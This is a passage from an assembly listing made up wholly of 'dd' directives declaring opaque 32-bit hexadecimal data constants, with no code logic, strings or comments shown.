		dd 58560B07h, 0D9907B46h, 0E6EA282Fh, 7372976Eh, 3CBF544Fh
		dd 345F6896h, 6FBD9CB8h, 0BFD2E6F2h, 5FEA3062h,	176CCF8h
		dd 634086B8h, 548CEC4Ah, 70C6839Fh, 106B2DD6h, 8A0B17Eh
		dd 0C268E916h, 79DCFC20h, 815401A7h, 76309BF6h,	92A77B69h
		dd 0FAEB8912h, 0ADD0D4E2h, 8ECBAF4Fh, 16F66989h, 0E977DE2Fh
		dd 2289CDD6h, 16FA97Dh,	2E5C1F2h, 1410F220h, 933CBE62h
		dd 9B71D804h, 2B5BBD52h, 0E62A49EFh, 1CFFBB20h,	0C201C280h
		dd 0D328F3F2h, 7B092C5Bh, 0CD1C7771h, 52BA53FCh, 16E84695h
		dd 0EC61E668h, 0C477D432h, 0EE138B17h, 0E93F4BDDh, 215B851Dh
		dd 2193AEBCh, 63BDAD40h, 5660712h, 2943095Ch, 7B2DBBD8h
		dd 571E2D0Fh, 845AF2FCh, 31078581h, 0BD1073C2h,	0DA5DC040h
		dd 23412E1h, 52235F10h,	322A7ADEh, 0CE152603h, 2558A2C8h
		dd 0A222C609h, 0BD276655h, 3BC00A4h, 7B59C831h,	1A64A97h
		dd 6568ADCEh, 42E661Ch,	32C6698Ah, 10945ACh, 748F57D8h
		dd 6260BB33h, 40B63688h, 7627E903h, 2DD11499h, 881C0B6Bh
		dd 0F5BCA5FCh, 5651B801h, 568341CDh, 4C165A2Ah,	0C6053C2Fh
		dd 5A60B530h, 0F7DD7F6Dh, 68811D93h, 0A53E2D5Ah, 6F84ED70h
		dd 0DFBFFF17h, 0A5F30327h, 25E2C0E9h, 3AF65231h, 252F0908h
		dd 0D6078471h, 0D3C77175h, 5D8221F2h, 5B2D2DE7h, 93B108D1h
		dd 30E42500h, 3D17C92h,	6E8635E0h, 93A8554Ah, 88B8804Bh
		dd 0C47AC2Ch, 0DF1FDA53h, 41F6A789h, 0FEF5B441h, 0D98E387Fh
		dd 882E6C62h, 0C8AF84EBh, 0E0410116h, 3B312623h, 92539A13h
		dd 196AB7EBh, 95CBBC9h,	8354062Bh, 6813429Ah, 0E2B860D2h
		dd 41557CF2h, 0CF6F0140h, 565A02C5h, 49CD25E9h,	0D242F344h
		dd 0CCE7546h, 394E64F6h, 6C8468F2h, 0BF35009Bh,	0F418B58h
		dd 0BB26270Dh, 70054821h, 6018F536h, 3F176D2Bh,	0C4BA58FEh
		dd 57081D25h, 5CF5A0DBh, 2E4CB9Ch, 9DE407A8h, 84042A91h
		dd 0CDBB6ABBh, 6E283182h, 0A28433F3h, 6D77D834h, 587009Dh
		dd 4B73A4F6h, 2579FCDDh, 0C1BD0089h, 0ED672BB1h, 5FFCE542h
		dd 0A3801029h, 7B30ABEh, 0B768481Dh, 0B9959927h, 53581DA5h
		dd 12A9E120h, 8D0D1A68h, 0F40F6090h, 0CA81501Ch, 0CB0964CAh
		dd 30F38B0Ch, 7F08092Dh, 5383159Ch, 0E7251917h,	22BFECEh
		dd 2D4F085Eh, 2BE9EFA1h, 51DF399Ah, 63A96AF9h, 0BCEE6F72h
		dd 0BA933BBDh, 0EA994F26h, 561CB3Fh, 77961AF5h,	0AF4E6D5Ah
		dd 59BEAAC0h, 40D62D05h, 4624DBF8h, 0DA00744Eh,	0E9FDF94Fh
		dd 0AC915F4Bh, 2FDDC016h, 0BD3109D8h, 5A11F440h, 0A0F096BFh
		dd 95638E03h, 6861777Eh, 1E0670CDh, 142DE9B6h, 5152288Dh
		dd 0E4F4208Dh, 77F92D06h, 4FD4185Bh, 9F263375h,	7890A2F5h
		dd 2777EE26h, 0E3C1DB85h, 0D08A6B81h, 8396257Bh, 103AB7ABh
		dd 12203853h, 4EE5BFAh,	0EDD33C5Dh, 48826E64h, 0D82800E1h
		dd 2104072Ch, 129B96BDh, 0E970AF68h, 0DE982A0h,	6416F7D2h
		dd 0A45F9BFAh, 0D501C1D0h, 0EDD1A167h, 5F1DE83Ah, 2F2646E0h
		dd 0CBD837CCh, 71084024h, 7A12A4C2h, 58C53A85h,	33E105Ch
		dd 0A2171992h, 3F185824h, 0C01D97B8h, 931FEA0h,	3967E9D0h
		dd 9401CF5h, 0B460BCBEh, 69C6F200h, 3D4E6D3Bh, 72D56FC8h
		dd 93BC78h, 0D14C45EBh,	97F92AE9h, 0A6099550h, 0C394DD4Fh
		dd 64D7E917h, 2B57B320h, 0E44A40FEh, 625B2F0Bh,	0B3E9D889h
		dd 0EB81804Bh, 2A6BACEDh, 5FDF0125h, 0E0E95810h, 0ECE942BDh
		dd 5B2B988Ch, 0F7D98849h
		dd 0DE8AD05Bh, 2D05A24h, 55B97A8Eh, 14017AE1h, 0F24605FBh
		dd 5CB2EBFEh, 0EC87C9DFh, 0E519BADDh, 17D8A155h, 0F794873Fh
		dd 0E09775F7h, 759D0556h, 0C1013084h, 80B9C429h, 76BCBF18h
		dd 0B0311282h, 29102092h, 3D566639h, 82132CBEh,	0FF16601Ah
		dd 59A0CAF0h, 5F827B7Ah, 8CDA6301h, 577C6E8h, 5EC85A0h
		dd 0BB4FA44Fh, 0F7A01A95h, 2564A9A2h, 15005509h, 93EA80E2h
		dd 58C2FE27h, 3CA3D9Ah,	0E9F90877h, 8100F729h, 994F12E3h
		dd 310CC143h, 2B69610Ch, 69A77B4h, 9BB42D9h, 413B9BDFh
		dd 3146843Ah, 58B85FFBh, 0F430DA51h, 5E9B7ED3h,	2D48808Eh
		dd 0BE3A3BA7h, 1BA4853Fh, 10AF578Ch, 0A07507BEh, 5E71E911h
		dd 819870B6h, 5C51D3CBh, 3BF120CBh, 40BB0902h, 8179E42Dh
		dd 58C331C8h, 56C6B06Fh, 50BF549Dh, 46B3BFDAh, 8F250C20h
		dd 0F550F2BDh, 3BEC5CCh, 5205EDC0h, 0D58094B2h,	8FBDF0E9h
		dd 3D965D2Ah, 0A38F9F5h, 0DAC38007h, 0FA28D450h, 12E9B213h
		dd 0E7695D81h, 8BF53E05h, 685F0800h, 8C5A5A8Ah,	4D5E3796h
		dd 0E8F024ABh, 0F6573029h, 13E4060Dh, 1D8F701h,	0E673C0Bh
		dd 2D296012h, 0B0F6A3Fh, 0C15FE943h, 7E824AC7h,	0C6B107Ch
		dd 47369540h, 530D0C98h, 26F9B8E9h, 12056C20h, 0FA13E03Dh
		dd 2F086D50h, 4BD9D15Dh, 210117Dh, 0BFA0542Ch, 372F9CB1h
		dd 0FF090B1Fh, 83F95AA9h, 2986EC52h, 9B9455Ch, 0A7A63EDh
		dd 3052DE95h, 0B4F41DCh, 0CA01621Ah, 0E908011Ch, 0D13B7695h
		dd 3343BE06h, 0F2BBD295h, 0F4F42F94h, 27444252h, 95BDBD73h
		dd 1EFF538h, 66BC74CAh,	7820D7F7h, 0E66E133Fh, 7C4BAC25h
		dd 391E7024h, 8EAF7B13h, 6FDF0011h, 0E94B605Fh,	129C423h
		dd 0EBD9C4D6h, 0D021F5A1h, 1516EF2Fh, 7ED7EC0Dh, 1275F034h
		dd 717728Bh, 0A0475E07h, 0F027EBCFh, 0EF83381Fh, 22C87F27h
		dd 0C625C83Ah, 2760F0FEh, 0CD5D1C8Bh, 441E12DCh, 0C45E580Ch
		dd 9EA0BBEEh, 0A0E6A65Ah, 9440AB76h, 0C8FE9C2h,	2ECA38E1h
		dd 62122546h, 7CA70449h, 96A85DA2h, 0B7C71614h,	0B1FC84h
		dd 340A6852h, 14385E0Eh, 0A73FD77h, 8FC25A9h, 69A503F9h
		dd 0C1D4DDDh, 0C786AB19h, 3030D789h, 8F604E7h, 0DB5490E9h
		dd 2CC3C2AAh, 254B7CBBh, 4477EA44h, 0A15A9F20h,	42077B0h
		dd 0C3A4C31Dh, 9E091388h, 1CFEB5D5h, 5E8BFC1Fh,	79BB29Dh
		dd 6E087A6Fh, 50B6ADC3h, 4B6DC734h, 5E41D3A8h, 7E94E29Ch
		dd 1CCB2090h, 5EF1895Fh, 31D5588Ah, 69D87582h, 0E9BDB1F2h
		dd 0EE3CF2E8h, 9704393Ah, 0C4D6294Fh, 8081614h,	57050DD1h
		dd 3FBC5F54h, 62F27EA9h, 0EF7A43C5h, 1E6E8244h,	0DF8AB2EEh
		dd 0F4BF6B8Ch, 83D89759h, 0F0BB3020h, 0AC455E5Bh, 55027DDCh
		dd 83299868h, 0DE62F575h, 13CCD457h, 605DC7B4h,	486878AFh
		dd 0D0555733h, 2AD4992Ch, 5831816Eh, 0C2C850BEh, 8D262226h
		dd 848AD40h, 95BF1C35h,	7E3488E3h, 0B4919B6Ah, 1A4B7F3Ch
		dd 5FF69F29h, 65F2634Ch, 75194402h, 59706B68h, 19E8012h
		dd 0E2D118B2h, 8EAC10Bh, 0C3BF044Ah, 0F483AE2h,	5426391Fh
		dd 0E52E8309h, 0CCED03C2h, 30745131h, 8031134Ah, 99975044h
		dd 854CD4EBh, 5E58E48Dh, 2AEC6818h, 0DD9746B1h,	0C47992D7h
		dd 0FEBF06B7h, 0F7054708h, 22CA1539h, 0E4CDFA0Fh, 1AAAA056h
		dd 4DF75277h, 7078AFC9h, 0F425EB76h, 82D5520Fh,	3245F508h
		dd 0DF43908Bh, 22972A96h, 50D58D70h, 68E609A9h,	0A6E67ECBh
		dd 874F3709h, 3481F52Dh, 386B380Dh, 5950A037h, 9C09F58h
		dd 0B8BFC3D3h, 703868BFh, 3AFD9D4Fh, 0D5BD0955h, 0DD018D60h
		dd 6066E912h, 0D5EBE120h, 72FB3E50h, 8F4AF826h,	8D13A768h
		dd 69AC2E75h, 345EE9E8h, 11F140AFh, 568DD541h, 0A8024ABCh
		dd 573F5A08h, 0F545A4F1h, 1A0B0F12h, 1729F96Ch,	0C4D0E1E9h
		dd 887709B1h, 0F830590Bh, 44E07466h, 9CE90375h,	5C2A2F73h
		dd 457D3E2h, 310EF3CDh,	8CD98DCh, 1B9FA068h, 37D0E92Bh
		dd 9328B2Bh, 0FD5DC968h, 295B4896h, 0DFD040A7h,	17B75380h
		dd 5B09FC88h, 446AE480h, 0BBC2B79Ch, 0C2A7C0F5h, 3FBEB888h
		dd 0E94ED2A5h, 0A19CC4FAh, 68CF8700h, 11931E26h, 0EA7F7625h
		dd 46680F17h, 2F3DFAD3h, 5640857Fh, 444D294Fh, 0D0A981E3h
		dd 0B7CDF054h, 58E27D16h, 0B2F54400h, 0B55CF27Fh, 899F71D0h
		dd 2ED97FB0h, 0A5725169h, 699CD50h, 94887E31h, 0B5004269h
		dd 81770319h, 0DC5B1F1h, 3AA15DE9h, 0F5C45860h,	5B14B67Fh
		dd 0DFFDD485h, 0CB8143C3h, 7AF36F98h, 0E72AD6C0h, 4EE9A317h
		dd 0F716EFCEh, 9D48877h, 5F2AE4B8h, 0D85E9F68h,	0F93166F0h
		dd 0B23A02DEh, 0C826BE59h, 0B4CC6C16h, 8F85479h, 1E1CA1D2h
		dd 0BB550415h, 42F6BAE2h, 0E9043388h, 9BBFDE3Eh, 9BA34A41h
		dd 165DB9D2h, 0D3E819CBh, 0D941D3CEh, 7F87A8E9h, 0E32A32E7h
		dd 0FABF5CB1h, 0FA60E716h, 0BBCFB5Dh, 0D55D7D1Bh, 7A88C668h
		dd 0E957A028h, 0D0602101h, 0CB97E974h, 0AE294496h, 3784B621h
		dd 0F5EEC587h, 5715B116h, 0E84CC8BFh, 0C3ED1B5Fh, 0B78CDC12h
		dd 2BAB5EC7h, 87DD25D5h, 1D046880h, 7F51838Ch, 0A5913350h
		dd 1E94F21Fh, 1469718Ch, 347D9756h, 0E2E916FDh,	0F0318C2Bh
		dd 2D1F3939h, 3278C146h, 0EB4AB538h, 0BBF5428h,	4EB60E3Ah
		dd 58854F00h, 5F952B23h, 0DFF7A910h, 0E92694B8h, 3DA47DA1h
		dd 72FD6052h, 51452E36h, 130848F8h, 0D53CA958h,	0F0BD091Ah
		dd 0BD33CCFEh, 81887BD3h, 536841C6h, 0B51D2C59h, 5185E6A9h
		dd 89E2EF14h, 0BAFBF478h, 0BEC1B3E2h, 5CD14876h, 7F98FAA5h
		dd 7A8A41E8h, 1F1312E0h, 138F2246h, 5FD7AC89h, 431971FEh
		dd 0D319C239h, 0EBF7DF74h, 1E1D363Ah, 0BC7800BDh, 0A087408Ah
		dd 0C1D6DA3h, 0DA0131C8h, 5204C98Ah, 0D1F76AB0h, 0B95B45C3h
		dd 123BA487h, 0F7F2EF2Ah, 0F4655C89h, 9CC5554Bh, 64F26B16h
		dd 39387307h, 95E6B448h, 0ADC1AB95h, 0E801D2BEh, 0DC4B800Dh
		dd 213033C9h, 4CF70FEh,	0B954957Bh, 0F08BC0BDh,	1060E95Ah
		dd 0F6D2AF2Dh, 0F98600F5h, 983A5480h, 4209FB19h, 235D1C2h
		dd 0A6736D1Bh, 370BBDh,	0BA04DF38h, 0CE62566h, 15E12C12h
		dd 2D7811h, 5ED8012Eh, 5BF7E6h,	546E8CF6h, 1CEEC6F8h, 0D38D48h
		dd 78DB813Ah, 0EC039955h, 0A09200C0h, 0FABE267Ch, 66607BD1h
		dd 0AC46B16h, 0ECB9EE1Eh, 2514C75Eh, 0BE22BCBFh, 89B31218h
		dd 0A2840F50h, 5C6C153h, 18BB0D83h, 2211C37Ch, 0DF400689h
		dd 694D277Eh, 0F26E3D5h, 7D37F370h, 0D048FFC4h,	0A4850FF8h
		dd 8E0D92F1h, 0B5EDC8h,	14C75E15h, 0FBDE3FB4h, 47A54400h
		dd 30850731h, 6DE6010Fh, 40204842h, 810ACC1Fh, 0E7252E07h
		dd 80AF0C71h, 829DEACh,	282A0384h, 484AA3E2h, 0B3DB5115h
		dd 5FC4A004h, 1B10C048h, 0BA077A89h, 0BE2E2800h, 8E463FB1h
		dd 0E46B0350h, 0DB21FAC4h, 7BFE1C88h, 421A29C8h, 0E62452DDh
		dd 127DA821h, 542F1006h, 0FD09D289h, 0BDF2117Eh, 18732A00h
		dd 0A3EE3607h, 56A374EDh, 9A79F0A5h, 4DC90001h,	6415B865h
		dd 67033926h, 2C028488h, 0EFBFF03Fh, 91170119h,	9A1ECEB9h
		dd 8D040CFh, 6D005881h,	0C92989B0h, 17C0BEh, 0E29542C6h
		dd 0D5633DEAh, 0ACA26000h, 1AD6495Eh, 0FB0203D0h, 0F705580Bh
		dd 0F1F343F8h, 0B1B03704h, 1EC0B9F9h, 0D0E8A0h,	0C79D93C9h
		dd 52E23F0Ch, 88B4DA00h, 0AA8F7D38h, 35B900B5h,	6319CE99h
		dd 9F007ACAh
		dd 2A16431Eh, 4258BBh, 0DBA8791h, 2D0A6064h, 1B974550h
		dd 7E2AD500h, 70174277h, 506800C7h, 95C4BD5Fh, 0F018DF9Eh
		dd 0C3206E55h, 0D31B0043h, 3C720ADDh, 0D400026Fh, 708E4F7Bh
		dd 0B3144Eh, 0D931B6FEh, 0A077FDEEh, 8C30C700h,	7DA93D16h
		dd 0E4D01205h, 680C00BAh, 338FE50Ah, 0FAD6E4EFh, 8074723Fh
		dd 26CA2DBBh, 857C8Ah, 3BD9D6Fh, 0CD1FC744h, 68820900h
		dd 744ED792h, 0AB240766h, 17B8EAC3h, 561FC00Fh,	0E203EEFAh
		dd 0EF29149Fh, 0E695D896h, 16774E5h, 49CF5626h,	81F78E8Ch
		dd 0C9BD4666h, 0D2836276h, 93359E82h, 450D598h,	1EC44100h
		dd 7A7C09CCh, 0EE827540h, 663200D1h, 8FF9CF67h,	70904653h
		dd 0F8092971h, 61F2B3h,	89603932h, 0D4010787h, 0D0C5D345h
		dd 0B420181Ch, 0F8A58D00h, 0CF724ED5h, 361B031Ah, 0FFD95D85h
		dd 80EAE898h, 303E2500h, 0A82B2E1Dh, 24A1FA7Fh,	80209F12h
		dd 614E9C0Ah, 3E001094h, 0BD8772FCh, 3E09EC77h,	0F2004C2Ch
		dd 2EB8C1F5h, 0DC48288Ch, 0DF90EC8h, 48C4A078h,	139E34h
		dd 3E0420C3h, 442E19C5h, 5C61F560h, 1E52C7D8h, 0C020778Eh
		dd 0AB6EE351h, 0DE009B28h, 0C39D4018h, 1F745080h, 1C5623C8h
		dd 99D3C0FEh, 787664D5h, 8079893Ah, 0F7DA8455h,	222E243h
		dd 0A7DE1CBFh, 440B9E0h, 14907881h, 1E6EED00h, 0EBA5DDB6h
		dd 0E83A0020h, 0F135D8Fh, 140E5C87h, 0A049316Bh, 0A5F9B0D6h
		dd 0B7DA0380h, 44722E20h, 156CBFD8h, 0A24839h, 877E848Ah
		dd 2307CC1h, 0E70BD5D8h, 0E8851104h, 0F55AC0C8h, 0DA00D094h
		dd 0A306C024h, 0FDD425h, 9B7E2C86h, 2CC750Eh, 7F515700h
		dd 0F953D090h, 5FF481h,	21BD480Dh, 83970ECBh, 0E18B4926h
		dd 3D88E000h, 12F8D061h, 454790h, 0C1D2D0Ch, 4E007E08h
		dd 7C4D5BDDh, 156395h, 0E1A6E938h, 0F3ECA08Eh, 0C199C700h
		dd 85EA2A1Ch, 0AF7600DBh, 7DB9B152h, 0C43F6A1Bh, 220988FEh
		dd 8B0F142Fh, 7200A042h, 0D66C341Fh, 407A703Ah,	5C4A2E00h
		dd 7D25D5B2h, 7A260031h, 0DCC020C8h, 2402FE87h,	419456BAh
		dd 8DD860DDh, 9D3C0BA2h, 1A8D99CCh, 0ECFAD941h,	92126FC6h
		dd 1040AF02h, 0B7D241Ah, 42910066h, 52A89C09h, 8B3D1865h
		dd 270398CEh, 356E28h, 1CBA0D6Bh, 36CCBB7Bh, 8321C438h
		dd 0AF16AB2Eh, 0A40AE8B9h, 92D18C0h, 0E8E7685Ch, 73E35D00h
		dd 945F7B62h, 8B9D3D26h, 9572BD00h, 0D4B5A9FFh,	1C176400h
		dd 9B71EA4Ch, 155E00ADh, 0AC894D0Ah, 82012F0Fh,	0CCC942Ch
		dd 9AD071F8h, 0CBB901F4h, 0AE3F9242h, 4091617Ch, 506D3244h
		dd 81520101h, 0CC777D20h, 0F8358053h, 30E34798h, 0C8B8B466h
		dd 0D3002F65h, 11BBCB86h, 0F76354h, 940D5B4Fh, 0FA458DBDh
		dd 46236D03h, 0E834D4E8h, 0E099FD51h, 133D004Dh, 0A244D924h
		dd 26006525h, 901548A0h, 0E02F6ECh, 4903C4C3h, 0D630809Fh
		dd 6F2C6A27h, 0A1741600h, 0CAC7733h, 0FDCE2641h, 0FE4900B7h
		dd 0DFB8BE38h, 2DF00709h, 5BB880C6h, 0F92C3AA3h, 0D8D2A001h
		dd 7006B47h, 0AB328EE2h, 0F4DCBCh, 0C1DE7274h, 0F527CCB4h
		dd 0EF7CF0F1h, 1C80D64Ch, 0F8020CAh, 0DC9E6C96h, 0A37B0253h
		dd 8F56EFE0h, 0B6C2B860h, 0A127AA07h, 0E00F604Fh, 75460DC9h
		dd 0FC9C0024h, 23588809h, 0BC07BA92h, 0EC480F0Bh, 64D83EA0h
		dd 5FBE00F0h, 514E59B9h, 140717BBh, 9194FD2Bh, 719B520h
		dd 950ECCAh, 0DFC76972h, 938A6482h, 0CDC4A068h,	2F111421h
		dd 0C52D50C0h, 8400F0B0h, 68479906h, 390C6224h,	0D000691Fh
		dd 98F1B6F9h, 7A163EAEh, 11E0892Fh, 508D1258h, 128423A9h
		dd 86AE8CF0h, 21F8AB00h, 0A80E227Fh, 89B7095Dh,	0B003305h
		dd 0EACC571Dh, 34AC8B02h, 6263B181h, 436448B0h,	97DD0979h
		dd 28000BECh, 0B7903E55h, 0A1693B00h, 0BB50C9B8h, 7CE12E56h
		dd 24B30058h, 0A28C7992h, 0DF649B00h, 0A126E00Ch, 0FE6203B5h
		dd 2D13CB94h, 405983Ah,	9518B8ABh, 32FCCC90h, 751E3954h
		dd 3D80DC3Dh, 2887523Bh, 0C248EC0Ah, 0E65B0060h, 0F3F8F5A5h
		dd 3D70F0F9h, 16A68BC9h, 46BC00E4h, 59EE7BB1h, 9700CAF6h
		dd 267C6B76h, 62353Ch, 12CEE2DCh, 0F15C0508h, 9D3B7F03h
		dd 0D8165818h, 0DEAE81h, 0EF1F2B78h, 3D54E0Ch, 0C5745A00h
		dd 9E3F191Ch, 0DA170E99h, 0E473ED6h, 0F8E04661h, 975826F2h
		dd 506300FAh, 0AA23607Ah, 4D2900C0h, 0B8F81278h, 0F7009B33h
		dd 3D24B1F9h, 0F17B57h,	374060EFh, 0FC08A848h, 841EEBE0h
		dd 2B801A8Ch, 891EB9F5h, 0FF78BAh, 56E03DAEh, 27049357h
		dd 0FD4F7300h, 8790C35Bh, 39640058h, 4BECFCD1h,	0E25C5AC6h
		dd 105889h, 8EBBB2D0h, 94421Fh,	832E0C87h, 9FDA3233h, 6BAE8FA0h
		dd 253E23Eh, 8A1A62ECh,	1714E0ABh, 3F6810B1h, 14B50042h
		dd 46861004h, 55233BD5h, 1D6B2D80h, 0E9AEE130h,	0F4B89600h
		dd 0C921CFFBh, 0F2320014h, 0B77EF38Dh, 8100A95Ah, 0CC02A385h
		dd 20113506h, 7002C1Ah,	9974630Ch, 0B5465B0h, 0B5D4E610h
		dd 0E28E4182h, 0E0580E8h, 6EEFC312h, 0E4BDFC00h, 1F3580CAh
		dd 0EA6FA2B3h, 0D0FF49E0h, 65396A00h, 7AB46941h, 0AFC2D300h
		dd 832B35A1h, 1B8E0126h, 8664D7B3h, 0E90DFCADh,	6249A200h
		dd 371E6832h, 2EDF0A58h, 0A8DA6Ah, 8F788353h, 0CE00FB42h
		dd 3A73DCD7h, 315FC41h,	0AA7CC29Fh, 0D8E858C1h,	0D9307ED1h
		dd 0DA45895Ch, 0A6C057Fh, 80B991DEh, 0BF3282C4h, 8B9221C0h
		dd 0F895C89Ch, 87A0038h, 60EA27C2h, 5D00186Ch, 0D910E6D0h
		dd 0B01591Fh, 0CD173FA3h, 42214080h, 0B8004B82h, 0BF706FE1h
		dd 0AE92F1h, 2D962B13h,	0B934779Dh, 1D41210Fh, 0D5BEC0C3h
		dd 0C9840Fh, 1268DF42h,	9656BD37h, 94A8E0Eh, 0A0EFC031h
		dd 2866895Fh, 0DCF31Ah,	1B9624A1h, 0EBE64099h, 4228200h
		dd 0D992ECDCh, 9F681D4Eh, 4FCF5F57h, 3258A8h, 0EE5ECD50h
		dd 24009C56h, 0E13FAD7h, 0FDE9C2h, 42381D8Ch, 0B825C64Ch
		dd 6BCAC2Eh, 1AAB893Eh,	0A93F0080h, 3D0F2Dh, 338471F9h
		dd 64B0B183h, 25A51E07h, 0C3D0A452h, 3DD20607h,	3B80AF81h
		dd 7167CAA1h, 0A400B413h, 0ED0B158Bh, 0E09351h,	8762015Eh
		dd 0D4F16F4Fh, 1A28B917h, 8E7753C0h, 0F4FCD6h, 20AB5FB8h
		dd 0F6B1E127h, 0F1C91B07h, 0B4109A4Bh, 732905h,	0DC8AC440h
		dd 853B0711h, 44CE1000h, 6E4CBF6Bh, 0C840EB46h,	7C3ADAh
		dd 0B6F71BB2h, 27BF4801h, 0D079BFA1h, 557E9C93h, 89E72F00h
		dd 2EC84D9h, 0DCC00F7h,	868E787Eh, 1E007652h, 10C6777Fh
		dd 3F252315h, 340119D3h, 0D9EB64A6h, 0D553D091h, 0FA009076h
		dd 3C288848h, 1623F1h, 13FBCCD4h, 2D895EC4h, 0EFF91003h
		dd 800765CDh, 17A6ED9h,	0E8FAC65Bh, 0D02A5004h,	101E3D84h
		dd 97803914h, 3A3410Bh,	0CA090026h, 0EDF5F892h,	2000671Ah
		dd 8DFA7179h, 0E084DFh,	3AE8CD8Ch, 62EB9FF1h, 0AE126601h
		dd 0BA15332Eh, 79ECE2D0h, 0FCB10061h, 6BBCF8CDh, 7E002622h
		dd 0ABD12BE5h, 0A20CA4h, 2ED44F15h, 7D8D16DCh, 1F95D81Fh
		dd 968BF780h, 0B82C0355h, 0B3EB01CCh, 2BD6B2E8h, 0AD9C4C7h
		dd 8067C300h, 0E96E8996h, 0E2E6C4h, 0BB954B32h,	0A139B4F0h
		dd 0D830E600h, 0C892D0CCh, 3C57F28h, 5A350593h,	0D3B80F66h
		dd 3AE6F801h, 0F3BECA00h, 75B61D17h, 0E44F7Fh, 2CFEE90Ch
		dd 69005EE6h, 0D3A0776Ch, 21FF82Bh, 1B6FA994h, 0D2C01710h
		dd 6E00968Fh
		dd 0F3150C1Ah, 7790918Eh, 19DD0074h, 9887864Ah,	0E47004CCh
		dd 1C165700h, 0B3DC0990h, 0F01A70C8h, 114860B4h, 8F1BFFEAh
		dd 0E0123A44h, 0B9F40Bh, 977BE0DFh, 0A73E4B89h,	0CBACDD18h
		dd 4F043540h, 326800E2h, 5F63E867h, 7CACA05Dh, 0E6FB061Bh
		dd 0CE9FE021h, 4AA70F91h, 0C70A32B5h, 4B3D0608h, 2F024139h
		dd 9FC19565h, 5C88A1E0h, 50BC4475h, 0FA8C633h, 0D00A0E6h
		dd 9CE0A2C3h, 1CD9B7F5h, 803660B3h, 9415D143h, 900E32Ah
		dd 0DD04B6E2h, 0E66D25BCh, 70900F03h, 5D604F08h, 2682E63Ah
		dd 75EA4B03h, 0E8FFCBC4h, 0B00F37E3h, 2E0900A4h, 0FEB9928Fh
		dd 5AFC33D1h, 84FB1C00h, 0E298DBE7h, 1A1F0004h,	818F28A6h
		dd 3F0059D9h, 6C2C7BA1h, 3E38F582h, 44834D20h, 4E8B8869h
		dd 3206B480h, 0BA918000h, 0C53A9B3Fh, 0D8CB002Ah, 0A62C43B0h
		dd 7400EBBEh, 6817AEA0h, 0F5134A8h, 3F67C504h, 2C8B5DA0h
		dd 8F00E193h, 5BFB8123h, 867A06h, 21DCE744h, 0CC9CF11Fh
		dd 619F9CA8h, 63959907h, 4E81E207h, 4469E162h, 3A402B10h
		dd 1A5E021Dh, 44634EE4h, 0B4450548h, 0A011C785h, 0F2045B6Ch
		dd 0BC60ED72h, 24501D40h, 11C0D8C5h, 0EB127E33h, 81486038h
		dd 9D220EA9h, 0BF115360h, 20C3111Ch, 3F3CE6C4h,	28FA8848h
		dd 48DC46E0h, 38EAFE08h, 5CBF8752h, 40504ADDh, 0C748785Eh
		dd 6811F060h, 204C939h,	2ECFBA05h, 8C404A6Ch, 3E00B446h
		dd 68E64973h, 0C773CE4h, 0CF356306h, 1C242810h,	4028E5FEh
		dd 0A3CA30A0h, 0B30021E4h, 0DCF453F5h, 28616B45h, 1EA47B26h
		dd 0C6710B2h, 9C107221h, 92A9EA60h, 0F28424Dh, 194E3FB7h
		dd 224535A0h, 0E0F3478Ch, 410E51AEh, 814682B4h,	2A27AB17h
		dd 0E24E97E0h, 54C8FB23h, 0DEF21Dh, 41A51C1Eh, 32950347h
		dd 0A90ADC00h, 0A31D284Ch, 274A0043h, 264134A5h, 4B1447B3h
		dd 0A1384022h, 52E1B1F8h, 184AB2E1h, 43ADFD87h,	7CC71550h
		dd 562484B0h, 49007545h, 4DB203DCh, 8DFD013Fh, 0AF262BDEh
		dd 9409D041h, 2C0220F0h, 22552A9h, 2D688140h, 32E00831h
		dd 9839D04Ch, 10982E5Ah, 3C02454Ah, 0DF81A3C5h,	0E575C8A2h
		dd 0CD03F440h, 597B7190h, 1C2BE409h, 3F482141h,	1981AD73h
		dd 933ECD45h, 0B50841A1h, 9A1C24A9h, 0BA078302h, 8091DD8Fh
		dd 23D5B22Ch, 8C0090FCh, 88AB680Ch, 54BE30Ch, 65A1C1D7h
		dd 590ADB39h, 509D63CCh, 9C54106h, 442E2741h, 0B35BB800h
		dd 19C2AFD5h, 0A140E048h, 0B8462E78h, 1DC45842h, 0FC0EACF9h
		dd 437E87D7h, 0B5FAC87h, 4E78D71h, 84ED5607h, 3ECC90BFh
		dd 0E5632BDDh, 809F6158h, 289EE1C9h, 3C0CFD37h,	4B24EADEh
		dd 7BCA82E4h, 0B860BD29h, 9002775Eh, 0C376DF67h, 0DB0C839Bh
		dd 48E9C2C2h, 267969FCh, 0B04901h, 65320336h, 68B002B7h
		dd 0E719F2F9h, 40516611h, 34A1C258h, 64433D29h,	841510D1h
		dd 79F082BEh, 3FBC8CA8h, 39690AC2h, 4643B86Bh, 5E8006DDh
		dd 191149DBh, 68E2A914h, 0E08FCAF8h, 5C24B426h,	3F827010h
		dd 0DA209D93h, 0C7FE8549h, 0AA799BC1h, 51EA648Ch, 93FA8E4h
		dd 63C9149Fh, 98217C93h, 0DF903301h, 0D6A84EDCh, 71DDB843h
		dd 1D510A85h, 63886B44h, 0C5DDAA03h, 7A640810h,	94988849h
		dd 54F9404Ch, 3DFDE05Fh, 0C480C7Bh, 3E954C88h, 990DCD80h
		dd 0F7AD0C18h, 16A0EC60h, 7F3D3CA1h, 0CCB81404h, 1E2BC288h
		dd 43CE244h, 0DB2083F4h, 0C08A0169h, 80D42120h,	0DD12715Eh
		dd 2822050Eh, 77B225C0h, 18995D80h, 6950210Ch, 326148Ch
		dd 107F0C3Eh, 0A841A9EDh, 0E80C7051h, 805CDA89h, 0C99D1A9h
		dd 0D5DD4985h, 9F9C6AACh, 743D463h, 0DE18095Fh,	0E042A03Eh
		dd 82FFBEC4h, 7A25C314h, 7488D835h, 15294AC7h, 1DF250B4h
		dd 86E61D15h, 0B1EB624Fh, 6FA8A253h, 0E8288681h, 0D8A55379h
		dd 6C92816Fh, 4CA9CB58h, 0FC2C339Eh, 467C8D1Bh,	18A4FC2Fh
		dd 105B0D61h, 0E509A805h, 0FED9856h, 90700F78h,	48AE089h
		dd 68511DCh, 0F737C579h, 44300218h, 6C0C4099h, 542FC487h
		dd 0D0214FDDh, 24C53C12h, 133C60A8h, 0F94772EEh, 3C47E891h
		dd 564FE804h, 0D8547974h, 0B7B23C70h, 84FF47B9h, 9B04740Dh
		dd 721C9051h, 930086F3h, 25D985D1h, 0AB69E0h, 0E376F80Bh
		dd 0C535BEFBh, 91CC50E3h, 1E0EF7D0h, 6EA0F41Fh,	0E0C02F3Eh
